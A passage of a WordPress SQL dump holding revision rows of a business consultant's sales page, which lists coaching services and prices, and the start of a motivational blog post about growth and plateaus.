the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services..\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 18:53:03', '2013-08-14 01:53:03', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-200/', 0, 'revision', '', 0),
(2466, 2, '2013-08-13 19:31:14', '2013-08-14 02:31:14', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibiilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 19:31:14', '2013-08-14 02:31:14', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-201/', 0, 'revision', '', 0);
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(2467, 2, '2013-08-14 13:20:06', '2013-08-14 20:20:06', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit for your buiness.\r\n\r\n•  Why customers need / buy your products and services.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your possitioning, value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike.  As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them more joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-14 13:20:06', '2013-08-14 20:20:06', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-202/', 0, 'revision', '', 0),
(2468, 2, '2013-08-14 13:22:30', '2013-08-14 20:22:30', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit for your buiness.\r\n\r\n•  Why customers need / buy your products and services.\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your possitioning, value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have nearly three decades of  experience working with hundreds of  clients in global companies and startups alike.  As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them more joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales or service billing revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-14 13:22:30', '2013-08-14 20:22:30', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-203/', 0, 'revision', '', 0),
(2470, 2, '2013-08-16 13:57:52', '2013-08-16 20:57:52', '', 'orange', 0, '', 'inherit', 'open', 'open', '', 'orange', '', '', '2013-08-16 13:57:52', '2013-08-16 20:57:52', '', 2469, 'http://www.whitehotcenter.com/wp-content/uploads/2013/08/orange.jpg', 0, 'attachment', 'image/jpeg', 0),
(2471, 2, '2013-08-16 14:01:23', '2013-08-16 21:01:23', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the process of entropy.</h1>\nI live and work in an orange grove. Over the years I’ve become familiar with the magical process of how oranges grow from flowers to fruit season to season.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\n\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\n\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\n\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\n\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\n\nLet that not be you!\n\nAlways be growing is how life works–in biology and in business. Never stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\n\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\n\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\n\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\n\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\n\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\n\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\n\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing. I’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\n\n<strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”.</strong>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision', '', '', '2013-08-16 14:01:23', '2013-08-16 21:01:23', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision/', 0, 'revision', '', 0),
(2472, 2, '2013-08-16 14:02:06', '2013-08-16 21:02:06', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the process of entropy.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical process of how oranges grow from flowers to fruit season to season.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that 